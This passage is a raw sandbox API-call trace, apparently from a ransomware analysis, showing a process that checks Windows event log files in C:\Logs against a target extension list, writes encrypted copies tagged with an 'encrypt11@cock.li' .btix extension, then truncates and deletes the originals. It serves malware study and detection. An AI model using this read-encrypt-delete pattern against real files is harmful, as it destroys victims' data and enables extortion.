lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString=".zip") returned 4 [0052.111] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".rar") returned 4 [0052.111] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".bz2") returned 4 [0052.111] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".7z") returned 3 [0052.111] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString=".dbf") returned 4 [0052.111] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString=".1cd") returned 4 [0052.111] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString=".jpg") returned 4 [0052.111] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.111] lstrlenW (lpString=".doc") returned 4 [0052.111] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".docx") returned 5 [0052.111] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.111] lstrlenW (lpString=".pdf") returned 4 [0052.111] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".xls") returned 4 [0052.111] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".xlsx") returned 5 [0052.112] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.112] lstrlenW (lpString=".ppt") returned 4 [0052.112] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.112] lstrlenW (lpString=".zip") returned 4 [0052.112] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString=".rar") returned 4 [0052.112] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString=".bz2") returned 4 [0052.112] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString=".7z") returned 3 [0052.112] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.112] lstrlenW (lpString=".dbf") returned 4 [0052.112] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.112] lstrlenW (lpString=".1cd") returned 4 [0052.112] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.112] lstrlenW (lpString=".jpg") returned 4 [0052.112] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.112] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.112] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0052.112] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.113] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0052.113] CloseHandle (hObject=0x36c) returned 1 [0052.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0052.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.113] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.113] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.113] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.113] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.113] GetLastError () returned 0x0 [0052.113] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.155] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.157] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.157] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x144, lpOverlapped=0x0) returned 1 [0052.158] SetEndOfFile (hFile=0x320) returned 1 [0052.199] CloseHandle (hObject=0x320) returned 1 [0052.201] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.202] SetEndOfFile (hFile=0x36c) returned 1 [0052.210] CloseHandle (hObject=0x36c) returned 1 [0052.210] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.210] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString=".doc") returned 4 [0052.211] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".docx") returned 5 [0052.211] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.211] lstrlenW (lpString=".pdf") returned 4 [0052.211] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".xls") returned 4 [0052.211] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".xlsx") returned 5 [0052.211] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.211] lstrlenW (lpString=".ppt") returned 4 [0052.211] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString=".zip") returned 4 [0052.211] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".rar") returned 4 [0052.211] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".bz2") returned 4 [0052.211] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString=".7z") returned 3 [0052.211] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString=".dbf") returned 4 [0052.211] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString=".1cd") returned 4 [0052.211] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString=".jpg") returned 4 [0052.211] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.212] lstrlenW (lpString=".doc") returned 4 [0052.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".docx") returned 5 [0052.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.212] lstrlenW (lpString=".pdf") returned 4 [0052.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".xls") returned 4 [0052.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".xlsx") returned 5 [0052.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.212] lstrlenW (lpString=".ppt") returned 4 [0052.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.212] lstrlenW (lpString=".zip") returned 4 [0052.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".rar") returned 4 [0052.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".bz2") returned 4 [0052.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString=".7z") returned 3 [0052.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.212] lstrlenW (lpString=".dbf") returned 4 [0052.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.212] lstrlenW (lpString=".1cd") returned 4 [0052.212] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0052.212] lstrlenW (lpString=".jpg") returned 4 [0052.212] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.213] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.213] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0052.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.214] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0052.214] CloseHandle (hObject=0x308) returned 1 [0052.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0052.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.221] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.221] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.221] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.221] GetLastError () returned 0x0 [0052.222] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.257] WriteFile (in: hFile=0x350, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.258] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.258] WriteFile (in: hFile=0x350, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x128, lpOverlapped=0x0) returned 1 [0052.258] SetEndOfFile (hFile=0x350) returned 1 [0052.258] CloseHandle (hObject=0x350) returned 1 [0052.260] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.260] SetEndOfFile (hFile=0x31c) returned 1 [0052.261] CloseHandle (hObject=0x31c) returned 1 [0052.262] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.262] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0052.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.262] lstrlenW (lpString=".doc") returned 4 [0052.262] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.262] lstrlenW (lpString=".docx") returned 5 [0052.262] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.262] lstrlenW (lpString=".pdf") returned 4 [0052.262] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.262] lstrlenW (lpString=".xls") returned 4 [0052.262] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.262] lstrlenW (lpString=".xlsx") returned 5 [0052.262] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.262] lstrlenW (lpString=".ppt") returned 4 [0052.262] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.262] lstrlenW (lpString=".zip") returned 4 [0052.262] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.262] lstrlenW (lpString=".rar") returned 4 [0052.263] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString=".bz2") returned 4 [0052.263] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString=".7z") returned 3 [0052.263] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString=".dbf") returned 4 [0052.263] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString=".1cd") returned 4 [0052.263] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString=".jpg") returned 4 [0052.263] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString=".doc") returned 4 [0052.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString=".docx") returned 5 [0052.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.263] lstrlenW (lpString=".pdf") returned 4 [0052.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString=".xls") returned 4 [0052.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString=".xlsx") returned 5 [0052.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.263] lstrlenW (lpString=".ppt") returned 4 [0052.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.263] lstrlenW (lpString=".zip") returned 4 [0052.263] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.264] lstrlenW (lpString=".rar") returned 4 [0052.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.264] lstrlenW (lpString=".bz2") returned 4 [0052.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.264] lstrlenW (lpString=".7z") returned 3 [0052.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.264] lstrlenW (lpString=".dbf") returned 4 [0052.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.264] lstrlenW (lpString=".1cd") returned 4 [0052.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0052.264] lstrlenW (lpString=".jpg") returned 4 [0052.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.264] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.264] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0052.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.265] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0052.265] CloseHandle (hObject=0x31c) returned 1 [0052.265] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0052.265] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.265] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.265] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.295] GetLastError () returned 0x0 [0052.295] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.432] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.434] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.434] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x12c, lpOverlapped=0x0) returned 1 [0052.434] SetEndOfFile (hFile=0x2e0) returned 1 [0052.434] CloseHandle (hObject=0x2e0) returned 1 [0052.435] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.436] SetEndOfFile (hFile=0x31c) returned 1 [0052.437] CloseHandle (hObject=0x31c) returned 1 [0052.437] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.437] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0052.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.437] lstrlenW (lpString=".doc") returned 4 [0052.437] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.437] lstrlenW (lpString=".docx") returned 5 [0052.437] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.437] lstrlenW (lpString=".pdf") returned 4 [0052.437] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.437] lstrlenW (lpString=".xls") returned 4 [0052.437] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.437] lstrlenW (lpString=".xlsx") returned 5 [0052.438] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.438] lstrlenW (lpString=".ppt") returned 4 [0052.438] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString=".zip") returned 4 [0052.438] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".rar") returned 4 [0052.438] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".bz2") returned 4 [0052.438] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".7z") returned 3 [0052.438] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString=".dbf") returned 4 [0052.438] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString=".1cd") returned 4 [0052.438] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString=".jpg") returned 4 [0052.438] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.438] lstrlenW (lpString=".doc") returned 4 [0052.438] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".docx") returned 5 [0052.438] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.438] lstrlenW (lpString=".pdf") returned 4 [0052.438] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".xls") returned 4 [0052.438] lstrcmpiW 